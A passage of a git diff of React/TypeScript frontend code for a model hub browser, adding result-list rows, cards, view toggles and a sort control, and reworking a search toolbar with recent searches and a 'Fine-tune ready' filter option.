+  updated: "hidden w-[82px] shrink-0 xl:block",
+  downloads: "hidden w-[104px] shrink-0 items-center gap-1.5 sm:flex",
+  likes: "hidden w-[76px] shrink-0 items-center gap-1.5 sm:flex",
+  actions: "flex w-[64px] shrink-0 items-center justify-end gap-0.5",
+} as const;
+
+function ViewToggleButton({
+  active,
+  label,
+  icon,
+  onClick,
+}: {
+  active: boolean;
+  label: string;
+  icon: IconSvgElement;
+  onClick: () => void;
+}) {
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>
+        <button
+          type="button"
+          aria-pressed={active}
+          aria-label={label}
+          onClick={onClick}
+          className={cn(
+            "relative z-10 inline-flex size-8 cursor-pointer items-center justify-center rounded-full transition-colors",
+            active
+              ? "text-foreground"
+              : "text-muted-foreground hover:text-foreground",
+          )}
+        >
+          <HugeiconsIcon icon={icon} strokeWidth={1.75} className="size-3.5" />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom" className="tooltip-compact">
+        {label}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+export type InventorySort = "recent" | "name" | "size";
+
+const INVENTORY_SORTS: { value: InventorySort; label: string }[] = [
+  { value: "recent", label: "Recent" },
+  { value: "name", label: "Name" },
+  { value: "size", label: "Size" },
+];
+
+// Sort picker as a compact dropdown pill so it sits beside the view-mode tabs.
+export function InventorySortControl({
+  value,
+  onChange,
+}: {
+  value: InventorySort;
+  onChange: (value: InventorySort) => void;
+}) {
+  return (
+    <HubOptionMenu<InventorySort>
+      value={value}
+      options={INVENTORY_SORTS}
+      onValueChange={onChange}
+      ariaLabel="Sort downloads"
+      align="end"
+      className="h-8 text-[11.5px]"
+    />
+  );
+}
+
+export function HubListHeader({
+  title,
+  subtitle,
+  count,
+  view,
+  onViewChange,
+  onBack,
+  onRefresh,
+  isRefreshing,
+  actions,
+}: {
+  title: string;
+  subtitle?: string;
+  count?: number;
+  view?: AllModelsView;
+  onViewChange?: (view: AllModelsView) => void;
+  onBack?: () => void;
+  onRefresh?: () => void;
+  isRefreshing?: boolean;
+  actions?: ReactNode;
+}) {
+  const accessibleLabel =
+    count && count > 0 ? `${title} (${count.toLocaleString()})` : undefined;
+
+  return (
+    <div
+      className="flex items-center justify-between gap-4 pb-3"
+      aria-label={accessibleLabel}
+    >
+      <div className="flex min-w-0 items-center gap-1.5">
+        {onBack && (
+          <button
+            type="button"
+            onClick={onBack}
+            aria-label="Back to feed"
+            // Pull the button left so the inset chevron lines up with the
+            // avatars below, just inside the row hover's left edge.
+            className="hub-section-chevron -ml-3 inline-flex size-8 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground"
+          >
+            <HugeiconsIcon
+              icon={ArrowLeft01Icon}
+              strokeWidth={2}
+              className="size-4"
+            />
+          </button>
+        )}
+        <div className="min-w-0 space-y-0.5">
+          <h2 className="text-[18px] font-semibold tracking-[-0.02em] text-foreground">
+            {title}
+          </h2>
+          {subtitle && (
+            <p className="text-[12.5px] leading-tight text-muted-foreground">
+              {subtitle}
+            </p>
+          )}
+        </div>
+        {onRefresh && (
+          <Tooltip>
+            <TooltipTrigger asChild={true}>
+              <button
+                type="button"
+                aria-label="Refresh"
+                onClick={onRefresh}
+                // Tiny drop so the icon aligns with the heading text.
+                className="inline-flex size-7 shrink-0 translate-y-px cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
+              >
+                <HugeiconsIcon
+                  icon={Refresh01Icon}
+                  strokeWidth={1.75}
+                  className={cn("size-[11px]", isRefreshing && "animate-spin")}
+                />
+              </button>
+            </TooltipTrigger>
+            <TooltipContent side="bottom" className="tooltip-compact">
+              Refresh from Hugging Face
+            </TooltipContent>
+          </Tooltip>
+        )}
+      </div>
+      {(actions || onViewChange) && (
+        <div className="flex shrink-0 items-center gap-2">
+          {actions}
+          {onViewChange && (
+            <div
+              className="hub-tab-toggle relative inline-flex h-8 shrink-0 items-center rounded-full"
+              aria-label="Results layout"
+            >
+              <span
+                aria-hidden="true"
+                className="hub-tab-toggle-pill pointer-events-none absolute inset-y-0 left-0 w-8 rounded-full transition-transform duration-200 ease-out"
+                style={{
+                  transform: `translateX(${
+                    (view === "split" ? 1 : view === "grid" ? 2 : 0) * 100
+                  }%)`,
+                }}
+              />
+              <ViewToggleButton
+                active={view === "two"}
+                label="Two columns"
+                icon={LayoutTwoColumnIcon}
+                onClick={() => onViewChange("two")}
+              />
+              <ViewToggleButton
+                active={view === "split"}
+                label="Split view"
+                icon={ViewSidebarLeftIcon}
+                onClick={() => onViewChange("split")}
+              />
+              <ViewToggleButton
+                active={view === "grid"}
+                label="Compact"
+                icon={LeftToRightListBulletIcon}
+                onClick={() => onViewChange("grid")}
+              />
+            </div>
+          )}
+        </div>
+      )}
+    </div>
+  );
+}
+
+export function ResultListHeader({ isDataset }: { isDataset: boolean }) {
+  return (
+    <div className="flex w-full items-center gap-3 px-4 pb-2 text-[11px] font-medium text-muted-foreground/55">
+      <span className={LIST_COLS.model}>{isDataset ? "Dataset" : "Model"}</span>
+      <span className={isDataset ? LIST_COLS.caps : LIST_COLS.capsModel}>
+        {isDataset ? "Details" : "Capabilities"}
+      </span>
+      <span className={LIST_COLS.size}>Size</span>
+      <span className={LIST_COLS.updated}>Updated</span>
+      <span className={LIST_COLS.downloads}>Downloads</span>
+      <span className={LIST_COLS.likes}>Likes</span>
+      <span className={LIST_COLS.actions} aria-hidden="true" />
+    </div>
+  );
+}
+
+const STATUS_DOT_CLASS = "inline-block size-[6px] shrink-0 rounded-full";
+
+function TitleMarkers({
+  format,
+  gated,
+  isPrivate,
+  partial,
+  unsupported,
+  onDevice,
+}: {
+  format?: "gguf" | "checkpoint" | null;
+  gated?: false | "auto" | "manual";
+  isPrivate?: boolean;
+  partial: boolean;
+  unsupported: boolean;
+  onDevice: boolean;
+}) {
+  return (
+    <span className="flex shrink-0 items-center gap-1.5">
+      {format === "gguf" && (
+        <span
+          role="img"
+          aria-label="GGUF"
+          className={cn(STATUS_DOT_CLASS, "bg-format-gguf")}
+        />
+      )}
+      {format === "checkpoint" && (
+        <span
+          role="img"
+          aria-label="Safetensors"
+          className={cn(STATUS_DOT_CLASS, "bg-format-checkpoint")}
+        />
+      )}
+      <AccessGlyphs gated={gated} isPrivate={isPrivate} tooltip={false} />
+      {partial && (
+        <span
+          role="img"
+          aria-label="Partial download"
+          className={cn(STATUS_DOT_CLASS, "bg-status-warning")}
+        />
+      )}
+      {unsupported && (
+        <span
+          role="img"
+          aria-label="May not be supported yet"
+          className={cn(STATUS_DOT_CLASS, "bg-status-danger")}
+        />
+      )}
+      {onDevice && (
+        <span
+          role="img"
+          aria-label="On device"
+          className={cn(STATUS_DOT_CLASS, "bg-status-success")}
+        />
+      )}
+    </span>
+  );
+}
+
+function VerifiedOwner({ owner }: { owner: string }) {
+  return (
+    <span className="flex min-w-0 items-center gap-1">
+      <span className="truncate">{owner}</span>
+      {owner.toLowerCase() === "unsloth" && (
+        <span
+          aria-label="Verified Unsloth"
+          className="hub-verified-badge size-3.5 shrink-0 text-primary"
+        />
+      )}
+    </span>
+  );
+}
+
+function StatItem({ icon, value }: { icon: IconSvgElement; value: string }) {
+  return (
+    <span className="flex shrink-0 items-center gap-1.5">
+      <HugeiconsIcon
+        icon={icon}
+        strokeWidth={1.75}
+        className="size-3.5 shrink-0"
+      />
+      {value}
+    </span>
+  );
+}
+
+function CapabilitiesCell({
+  row,
+  taskLabel,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  taskLabel: string | null;
+  onSelect: (id: string) => void;
+}) {
+  const caps = row.capabilities;
+  if (caps.length === 0 && !taskLabel) {
+    return null;
+  }
+  const max = 3;
+  const shown = caps.slice(0, max);
+  const extra = caps.length - shown.length;
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>
+        <div
+          className="pointer-events-auto flex w-full min-w-0 cursor-pointer items-center gap-1.5"
+          onClick={(event) => {
+            event.stopPropagation();
+            onSelect(row.id);
+          }}
+        >
+          {shown.map((capability) => (
+            <CapabilityPill
+              key={capability.key}
+              capability={capability}
+              iconOnly={true}
+              tooltip={false}
+            />
+          ))}
+          {extra > 0 && <span className="hub-chip shrink-0">+{extra}</span>}
+          {shown.length === 0 && taskLabel && (
+            <span className="truncate text-[12px] text-muted-foreground/75">
+              {taskLabel}
+            </span>
+          )}
+        </div>
+      </TooltipTrigger>
+      <TooltipContent side="top" align="start" className="tooltip-compact">
+        <div className="flex flex-col items-start gap-1">
+          {taskLabel && (
+            <span className="text-[11px] font-medium text-muted-foreground">
+              {taskLabel}
+            </span>
+          )}
+          {caps.map((capability) => (
+            <CapabilityPill key={capability.key} capability={capability} />
+          ))}
+        </div>
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+function RowActions({
+  row,
+  isDataset,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  isDataset: boolean;
+  onSelect: (id: string) => void;
+}) {
+  const hfUrl = `https://huggingface.co/${isDataset ? "datasets/" : ""}${row.result.id}`;
+  const actionClass =
+    "pointer-events-auto inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:bg-foreground/[0.07] hover:text-foreground focus-visible:text-foreground data-[state=open]:bg-foreground/[0.07] data-[state=open]:text-foreground";
+  return (
+    <>
+      <Tooltip>
+        <TooltipTrigger asChild={true}>
+          <button
+            type="button"
+            aria-label={`Get ${row.repo}`}
+            onClick={(event) => {
+              event.stopPropagation();
+              onSelect(row.id);
+            }}
+            className={actionClass}
+          >
+            <HugeiconsIcon
+              icon={Download01Icon}
+              strokeWidth={1.75}
+              className="size-4"
+            />
+          </button>
+        </TooltipTrigger>
+        <TooltipContent side="top" className="tooltip-compact">
+          {isDataset ? "View dataset" : "View and download"}
+        </TooltipContent>
+      </Tooltip>
+      <DropdownMenu>
+        <DropdownMenuTrigger asChild={true}>
+          <button
+            type="button"
+            aria-label={`More options for ${row.repo}`}
+            onClick={(event) => event.stopPropagation()}
+            className={actionClass}
+          >
+            <HugeiconsIcon
+              icon={MoreVerticalIcon}
+              strokeWidth={1.75}
+              className="size-4"
+            />
+          </button>
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="end" className="min-w-[184px]">
+          <DropdownMenuItem
+            onClick={async (event) => {
+              event.stopPropagation();
+              await copyToClipboard(row.result.id);
+            }}
+          >
+            <HugeiconsIcon
+              icon={Copy01Icon}
+              strokeWidth={1.75}
+              className="size-4"
+            />
+            Copy ID
+          </DropdownMenuItem>
+          <DropdownMenuItem
+            onClick={(event) => {
+              event.stopPropagation();
+              if (!confirmExternalLink(hfUrl)) {
+                window.open(hfUrl, "_blank", "noopener,noreferrer");
+              }
+            }}
+          >
+            <HugeiconsIcon
+              icon={LinkSquare02Icon}
+              strokeWidth={1.75}
+              className="size-4"
+            />
+            Open on Hugging Face
+          </DropdownMenuItem>
+        </DropdownMenuContent>
+      </DropdownMenu>
+    </>
+  );
+}
+
+function useResultRowModel(
+  row: DiscoverRow,
+  deviceType: string | null,
+  isDataset: boolean,
+) {
+  const support = useMemo(
+    () =>
+      isDataset
+        ? null
+        : classifyUnslothSupport({
+            modelId: row.id,
+            pipelineTag: row.result.pipelineTag,
+            tags: row.result.tags,
+            libraryName: row.result.libraryName,
+            deviceType,
+            quantMethod: row.result.quantMethod,
+          }),
+    [isDataset, row.id, row.result, deviceType],
+  );
+  const sizeLabel = formatModelParamLabel(row.repo, row.result.totalParams);
+  const taskLabel = isDataset ? null : formatPipelineTag(row.result.pipelineTag);
+  const unsupported = support?.status === "unsupported";
+  return {
+    support,
+    unsupported,
+    partial: row.isAvailableOnDevice && row.isPartialOnDevice,
+    onDevice: row.isAvailableOnDevice && !row.isPartialOnDevice,
+    sizeLabel: sizeLabel !== "N/A" ? sizeLabel : null,
+    taskLabel,
+  };
+}
+
+export const ResultCard = memo(function ResultCard({
+  row,
+  deviceType,
+  isDataset,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  deviceType: string | null;
+  isDataset: boolean;
+  onSelect: (id: string) => void;
+}) {
+  const { support, unsupported, partial, onDevice, sizeLabel, taskLabel } =
+    useResultRowModel(row, deviceType, isDataset);
+  const format = isDataset ? null : row.result.isGguf ? "gguf" : "checkpoint";
+  const tip = buildRowStatusTooltip({
+    partialRepoId: partial ? row.result.id : undefined,
+    unsupported,
+    unsupportedReason: support?.reason ?? null,
+    resourceLabel: isDataset ? "dataset" : "model",
+  });
+
+  const textParts: Array<{ key: string; node: ReactNode }> = [];
+  if (taskLabel) {
+    textParts.push({
+      key: "task",
+      node: <span className="min-w-0 truncate">{taskLabel}</span>,
+    });
+  }
+  if (sizeLabel) {
+    textParts.push({
+      key: "size",
+      node: <span className="shrink-0">{sizeLabel}</span>,
+    });
+  }
+  if (row.result.updatedAt) {
+    textParts.push({
+      key: "updated",
+      node: (
+        <span className="shrink-0">
+          Updated {formatRelativeLong(row.result.updatedAt)}
+        </span>
+      ),
+    });
+  }
+
+  const card = (
+    <button
+      type="button"
+      aria-label={row.repo}
+      onClick={() => onSelect(row.id)}
+      className="hub-result-row hub-result-card group/row flex h-full w-full cursor-pointer items-center gap-3.5 px-4 text-left outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+    >
+      <OwnerAvatar
+        owner={row.owner}
+        repoName={row.repo}
+        className="size-[52px] shrink-0 rounded-[16px] text-[16px] ring-1 ring-black/5 dark:ring-white/10"
+        remote={false}
+      />
+      <div className="flex min-w-0 flex-1 flex-col">
+        <div className="flex min-w-0 items-center gap-2">
+          <span className="truncate text-[15px] font-semibold leading-[18px] text-foreground">
+            {row.repo}
+          </span>
+          <TitleMarkers
+            format={format}
+            gated={row.result.gated}
+            isPrivate={row.result.private}
+            partial={partial}
+            unsupported={unsupported}
+            onDevice={onDevice}
+          />
+        </div>
+        <span className="flex min-w-0 items-center gap-1 text-[12.5px] leading-[16px] text-muted-foreground/80">
+          <VerifiedOwner owner={row.owner} />
+        </span>
+        <div className="flex min-w-0 items-center gap-2 overflow-hidden text-[11.5px] leading-[16px] tabular-nums text-muted-foreground/65">
+          {textParts.map((part, index) => (
+            <Fragment key={part.key}>
+              {index > 0 && (
+                <span
+                  aria-hidden="true"
+                  className="shrink-0 text-muted-foreground/35"
+                >
+                  •
+                </span>
+              )}
+              {part.node}
+            </Fragment>
+          ))}
+          <span className="hub-meta-tag">
+            <HugeiconsIcon
+              icon={Download01Icon}
+              strokeWidth={1.75}
+              className="size-3 shrink-0"
+            />
+            {formatCompact(row.result.downloads)}
+          </span>
+          <span className="hub-meta-tag">
+            <HugeiconsIcon
+              icon={FavouriteIcon}
+              strokeWidth={1.75}
+              className="size-3 shrink-0"
+            />
+            {formatCompact(row.result.likes)}
+          </span>
+        </div>
+      </div>
+    </button>
+  );
+
+  if (!tip) {
+    return card;
+  }
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>{card}</TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact max-w-[260px]">
+        {tip}
+      </TooltipContent>
+    </Tooltip>
+  );
+});
+
+export const ResultGridRow = memo(function ResultGridRow({
+  row,
+  deviceType,
+  isDataset,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  deviceType: string | null;
+  isDataset: boolean;
+  onSelect: (id: string) => void;
+}) {
+  const { support, unsupported, partial, onDevice, sizeLabel, taskLabel } =
+    useResultRowModel(row, deviceType, isDataset);
+  const sizeDisplay = isDataset ? null : sizeLabel;
+  const format = isDataset ? null : row.result.isGguf ? "gguf" : "checkpoint";
+  const tip = buildRowStatusTooltip({
+    partialRepoId: partial ? row.result.id : undefined,
+    unsupported,
+    unsupportedReason: support?.reason ?? null,
+    resourceLabel: isDataset ? "dataset" : "model",
+  });
+  const overlayButton = (
+    <button
+      type="button"
+      aria-label={row.repo}
+      onClick={() => onSelect(row.id)}
+      className="absolute inset-0 z-0 cursor-pointer rounded-[inherit] outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset"
+    />
+  );
+
+  return (
+    <div className="hub-result-row group/row relative flex h-full w-full items-center gap-3 px-4">
+      {tip ? (
+        <Tooltip>
+          <TooltipTrigger asChild={true}>{overlayButton}</TooltipTrigger>
+          <TooltipContent
+            side="top"
+            align="start"
+            className="tooltip-compact max-w-[280px]"
+          >
+            {tip}
+          </TooltipContent>
+        </Tooltip>
+      ) : (
+        overlayButton
+      )}
+      <div className="pointer-events-none relative z-[1] flex w-full items-center gap-3">
+        <div className={LIST_COLS.model}>
+          <OwnerAvatar
+            owner={row.owner}
+            repoName={row.repo}
+            className="size-9 shrink-0 rounded-[12px] text-[13px] ring-1 ring-black/5 dark:ring-white/10"
+            remote={false}
+          />
+          <div className="min-w-0 flex-1">
+            <div className="flex min-w-0 items-center gap-1.5">
+              <span className="truncate text-[13.5px] font-semibold leading-[17px] text-foreground">
+                {row.repo}
+              </span>
+              <TitleMarkers
+                format={format}
+                gated={row.result.gated}
+                isPrivate={row.result.private}
+                partial={partial}
+                unsupported={unsupported}
+                onDevice={onDevice}
+              />
+            </div>
+            <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[11.5px] leading-[15px] text-muted-foreground/80">
+              <VerifiedOwner owner={row.owner} />
+            </span>
+          </div>
+        </div>
+        <div className={isDataset ? LIST_COLS.caps : LIST_COLS.capsModel}>
+          {isDataset ? (
+            row.summary ? (
+              <span className="truncate text-[12px] text-muted-foreground/75">
+                {row.summary}
+              </span>
+            ) : null
+          ) : (
+            <CapabilitiesCell
+              row={row}
+              taskLabel={taskLabel}
+              onSelect={onSelect}
+            />
+          )}
+        </div>
+        <div
+          className={cn(
+            LIST_COLS.size,
+            "truncate text-[12px] tabular-nums text-muted-foreground",
+          )}
+        >
+          {sizeDisplay ?? "—"}
+        </div>
+        <div
+          className={cn(
+            LIST_COLS.updated,
+            "truncate text-[12px] tabular-nums text-muted-foreground",
+          )}
+        >
+          {formatRelativeShort(row.result.updatedAt)}
+        </div>
+        <div
+          className={cn(
+            LIST_COLS.downloads,
+            "text-[12px] tabular-nums text-muted-foreground",
+          )}
+        >
+          <StatItem
+            icon={Download01Icon}
+            value={formatCompact(row.result.downloads)}
+          />
+        </div>
+        <div
+          className={cn(
+            LIST_COLS.likes,
+            "text-[12px] tabular-nums text-muted-foreground",
+          )}
+        >
+          <StatItem
+            icon={FavouriteIcon}
+            value={formatCompact(row.result.likes)}
+          />
+        </div>
+        <div className={LIST_COLS.actions}>
+          <RowActions row={row} isDataset={isDataset} onSelect={onSelect} />
+        </div>
+      </div>
+    </div>
+  );
+});
+
+// Compact master-pane row for split view: avatar + name/owner left, stats right,
+// with a selected highlight for the model shown in the detail pane.
+export const ResultSplitRow = memo(function ResultSplitRow({
+  row,
+  deviceType,
+  isDataset,
+  selected,
+  onSelect,
+}: {
+  row: DiscoverRow;
+  deviceType: string | null;
+  isDataset: boolean;
+  selected: boolean;
+  onSelect: (id: string) => void;
+}) {
+  const { support, unsupported, partial, onDevice } = useResultRowModel(
+    row,
+    deviceType,
+    isDataset,
+  );
+  const format = isDataset ? null : row.result.isGguf ? "gguf" : "checkpoint";
+  const tip = buildRowStatusTooltip({
+    partialRepoId: partial ? row.result.id : undefined,
+    unsupported,
+    unsupportedReason: support?.reason ?? null,
+    resourceLabel: isDataset ? "dataset" : "model",
+  });
+  const node = (
+    <button
+      type="button"
+      aria-label={row.repo}
+      aria-current={selected || undefined}
+      data-selected={selected || undefined}
+      onClick={() => onSelect(row.id)}
+      className="group/row flex h-full w-full cursor-pointer items-center gap-2.5 rounded-[12px] px-2.5 text-left outline-none transition-colors hover:bg-foreground/[0.04] data-[selected]:bg-foreground/[0.07] focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-inset dark:hover:bg-white/[0.05] dark:data-[selected]:bg-white/[0.08]"
+    >
+      <OwnerAvatar
+        owner={row.owner}
+        repoName={row.repo}
+        className="size-8 shrink-0 rounded-[9px] text-[12px]"
+        remote={false}
+      />
+      <div className="flex min-w-0 flex-1 flex-col">
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className="truncate text-[12.5px] font-semibold leading-[16px] text-foreground">
+            {row.repo}
+          </span>
+          <TitleMarkers
+            format={format}
+            gated={row.result.gated}
+            isPrivate={row.result.private}
+            partial={partial}
+            unsupported={unsupported}
+            onDevice={onDevice}
+          />
+        </div>
+        <span className="mt-0.5 flex min-w-0 items-center gap-1 text-[10.5px] leading-[14px] text-muted-foreground/80">
+          <VerifiedOwner owner={row.owner} />
+        </span>
+      </div>
+      <div className="flex shrink-0 flex-col items-end gap-0.5 text-[10.5px] tabular-nums text-muted-foreground/70">
+        <div className="flex items-center gap-2">
+          <span className="inline-flex items-center gap-1">
+            <HugeiconsIcon
+              icon={FavouriteIcon}
+              strokeWidth={1.75}
+              className="size-[11px] shrink-0"
+            />
+            {formatCompact(row.result.likes)}
+          </span>
+          <span className="inline-flex items-center gap-1">
+            <HugeiconsIcon
+              icon={Download01Icon}
+              strokeWidth={1.75}
+              className="size-[11px] shrink-0"
+            />
+            {formatCompact(row.result.downloads)}
+          </span>
+        </div>
+        {row.result.updatedAt && (
+          <span className="text-muted-foreground/60">
+            {formatRelativeShort(row.result.updatedAt)}
+          </span>
+        )}
+      </div>
+    </button>
+  );
+  if (!tip) {
+    return node;
+  }
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>{node}</TooltipTrigger>
+      <TooltipContent side="top" className="tooltip-compact max-w-[260px]">
+        {tip}
+      </TooltipContent>
+    </Tooltip>
+  );
+});
diff --git a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
index 87188f3447..7c9071daad 100644
--- a/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-toolbar.tsx
@@ -11,10 +11,11 @@ import {
 import { cn } from "@/lib/utils";
 import {
   AiChipIcon,
+  CancelCircleIcon,
   Database02Icon,
   FolderSearchIcon,
-  Refresh01Icon,
   Search01Icon,
+  SlidersHorizontalIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import type { HfSortKey } from "@/features/hub/hooks/use-hub-model-search";
@@ -24,17 +25,23 @@ import type {
   ModelsTab,
   ResourceTypeFilter,
 } from "../types";
-import {
-  CHANNEL_PRESETS,
-  type ChannelId,
-  findChannel,
-} from "../lib/channels";
 import {
   CAPABILITY_FILTER_OPTIONS,
   FORMAT_FILTER_OPTIONS,
 } from "../lib/view-models";
 import { HubOptionMenu, type HubOption } from "./hub-option-menu";
-import { memo, useMemo } from "react";
+import {
+  clearRecentSearches,
+  recordRecentSearch,
+  removeRecentSearch,
+  useRecentSearches,
+} from "../lib/recent-searches";
+import { RecentSearches } from "./recent-searches";
+import { memo, useMemo, useState } from "react";
+
+// Widened so the format dropdown can carry the "Fine-tune ready" pseudo-option,
+// which opens the curated channel instead of becoming the active format filter.
+type FormatMenuValue = ModelFormatFilter | "finetune";
 
 const SORT_OPTIONS: ReadonlyArray<{
   value: HfSortKey;
@@ -47,8 +54,6 @@ const SORT_OPTIONS: ReadonlyArray<{
   { value: "createdAt", label: "Newest" },
 ];
 
-type ChannelOptionValue = "all" | ChannelId;
-
 export const ModelsToolbar = memo(function ModelsToolbar({
   tab,
   onTabChange,
@@ -63,17 +68,14 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange,
   capabilityFilter,
   onCapabilityFilterChange,
-  activeChannelId,
-  onChannelSelect,
-  onRefresh,
   onManageLocalFolders,
+  onOpenFineTune,
 }: {
   tab: ModelsTab;
   onTabChange: (tab: ModelsTab) => void;
   query: string;
   onQueryChange: (value: string) => void;
   isLoading: boolean;
-  onRefresh: () => void;
   sortBy: HfSortKey;
   onSortChange: (value: HfSortKey) => void;
   resourceType: ResourceTypeFilter;
@@ -82,39 +84,67 @@ export const ModelsToolbar = memo(function ModelsToolbar({
   onFormatFilterChange: (value: ModelFormatFilter) => void;
   capabilityFilter: CapabilityFilter;
   onCapabilityFilterChange: (value: CapabilityFilter) => void;
-  activeChannelId: ChannelId | null;
-  onChannelSelect: (id: ChannelId | null) => void;
   onManageLocalFolders: () => void;
+  /** Opens the curated "Fine-tune ready" channel (discover only). Exposed as a
+   *  format-dropdown option rather than a standalone feed section. */
+  onOpenFineTune: () => void;
 }) {
-  const activeChannel = findChannel(activeChannelId);
+  // Recent searches surface while the empty search field is focused, only on
+  // Discover (on-device search is a local filter and isn't recorded).
+  const recentSearches = useRecentSearches();
+  const [searchFocused, setSearchFocused] = useState(false);
+  const isDiscover = tab === "discover";
+  const showRecentSearches =
+    isDiscover &&
+    searchFocused &&
+    query.trim() === "" &&
+    recentSearches.length > 0;
+
   const isDataset = resourceType === "datasets";
-  const channelValue: ChannelOptionValue = activeChannelId ?? "all";
-  const formatOptions = useMemo<HubOption<ModelFormatFilter>[]>(
-    () =>
-      FORMAT_FILTER_OPTIONS.filter(
-        // Downloaded inventory rows are never tagged mlx, so only Discover can
-        // match the MLX filter; hide it elsewhere to avoid an empty list.
-        (option) => option.value !== "mlx" || tab === "discover",
-      ).map((option) => ({
-        value: option.value,
-        triggerLabel: option.label,
-        label: (
-          <>
+  const hasTrailing = Boolean(query) || (isDiscover && isLoading);
+  const formatOptions = useMemo<HubOption<FormatMenuValue>[]>(() => {
+    const options: HubOption<FormatMenuValue>[] = FORMAT_FILTER_OPTIONS.filter(
+      (option) => option.value !== "mlx" || tab === "discover",
+    ).map((option) => ({
+      value: option.value,
+      triggerLabel: option.label,
+      label: (
+        <>
+          <span className="flex size-3.5 shrink-0 items-center justify-center">
             {option.value === "gguf" && (
-              <span className="inline-block size-1.5 shrink-0 rounded-full bg-format-gguf" />
+              <span className="size-1.5 rounded-full bg-format-gguf" />
             )}
             {option.value === "checkpoint" && (
-              <span className="inline-block size-1.5 shrink-0 rounded-full bg-format-checkpoint" />
+              <span className="size-1.5 rounded-full bg-format-checkpoint" />
             )}
             {option.value === "mlx" && (
-              <span className="inline-block size-1.5 shrink-0 rounded-full bg-format-mlx" />
+              <span className="size-1.5 rounded-full bg-format-mlx" />
             )}
-            {option.label}
+          </span>
+          {option.label}
+        </>
+      ),
+    }));
+    // "Fine-tune ready" is a curated channel (bnb-4bit checkpoints), not a
+    // format: it opens the channel rather than setting the filter (onValueChange).
+    if (tab === "discover") {
+      options.push({
+        value: "finetune",
+        triggerLabel: "Fine-tune ready",
+        label: (
+          <>
+            <HugeiconsIcon
+              icon={SlidersHorizontalIcon}
+              strokeWidth={1.75}
+              className="size-3.5 shrink-0 text-muted-foreground"
+            />
+            Fine-tune ready
           </>
         ),
-      })),
-    [tab],
-  );
+      });
+    }
+    return options;
+  }, [tab]);
   const capabilityOptions = useMemo<HubOption<CapabilityFilter>[]>(
     () =>
       CAPABILITY_FILTER_OPTIONS.map((option) => ({
@@ -131,31 +161,6 @@ export const ModelsToolbar = memo(function ModelsToolbar({
       })),
     [],
   );
-  const channelOptions = useMemo<HubOption<ChannelOptionValue>[]>(
-    () => [
-      { value: "all", label: "All models" },
-      ...CHANNEL_PRESETS.map((preset) => ({
-        value: preset.id,
-        checkClassName: "text-primary",
-        label: (
-          <span className="flex w-full min-w-0 items-start gap-2">
-            <HugeiconsIcon
-              icon={preset.icon}
-              strokeWidth={1.75}
-              className="mt-0.5 size-4 shrink-0 text-muted-foreground"
-            />
-            <span className="flex min-w-0 flex-1 flex-col gap-0.5">
-              <span className="min-w-0 truncate">{preset.label}</span>
-              <span className="min-w-0 whitespace-normal break-words text-[11px] leading-snug text-muted-foreground">
-                {preset.hint}
-              </span>
-            </span>
-          </span>
-        ),
-      })),
-    ],
-    [],
-  );
   const triggerBase = cn(
     "field-trigger hub-menu-trigger field-soft transition-colors",
     "focus-visible:ring-0 focus-visible:ring-offset-0 focus-visible:border-border",
@@ -164,7 +169,7 @@ export const ModelsToolbar = memo(function ModelsToolbar({
     <div className="flex min-w-0 flex-col gap-2 lg:flex-row lg:flex-nowrap lg:items-center">
       <div
         className={cn(
-          "hub-menu-trigger hub-tab-toggle relative inline-flex h-9 w-full shrink-0 items-center rounded-full lg:w-[220px]",
+          "hub-menu-trigger hub-tab-toggle relative inline-flex h-9 w-full shrink-0 items-center rounded-full lg:w-[240px]",
         )}
         role="radiogroup"
         aria-label="View"
@@ -207,97 +212,86 @@ export const ModelsToolbar = memo(function ModelsToolbar({
         </button>
       </div>
 
-      <div className="flex min-w-0 items-center gap-2 lg:flex-[1_1_280px]">
-        <div
-          className="hub-menu-trigger hub-tab-toggle relative inline-flex h-9 shrink-0 items-center rounded-full"
-          role="radiogroup"
-          aria-label="Resource type"
-        >
-          <span
-            aria-hidden="true"
-            className={cn(
-              "hub-tab-toggle-pill",
-              "pointer-events-none absolute inset-y-0 left-0 w-1/2 rounded-full transition-transform duration-200 ease-out",
-              resourceType === "datasets" ? "translate-x-full" : "translate-x-0",
-            )}
-          />
-          <Tooltip>
-            <TooltipTrigger asChild>
-              <button
-                type="button"
-                role="radio"
-                aria-checked={resourceType === "models"}
-                aria-label="Models"
-                onClick={() => onResourceTypeChange("models")}
-                className={cn(
-                  "relative z-10 inline-flex h-9 w-9 items-center justify-center rounded-full transition-colors",
-                  resourceType === "models"
-                    ? "text-foreground"
-                    : "text-muted-foreground hover:text-foreground",
-                )}
-              >
-                <HugeiconsIcon
-                  icon={AiChipIcon}
-                  strokeWidth={1.75}
-                  className="size-4"
-                />
-              </button>
-            </TooltipTrigger>
-            <TooltipContent side="bottom" sideOffset={6}>
-              Models
-            </TooltipContent>
-          </Tooltip>
-          <Tooltip>
-            <TooltipTrigger asChild>
-              <button
-                type="button"
-                role="radio"
-                aria-checked={resourceType === "datasets"}
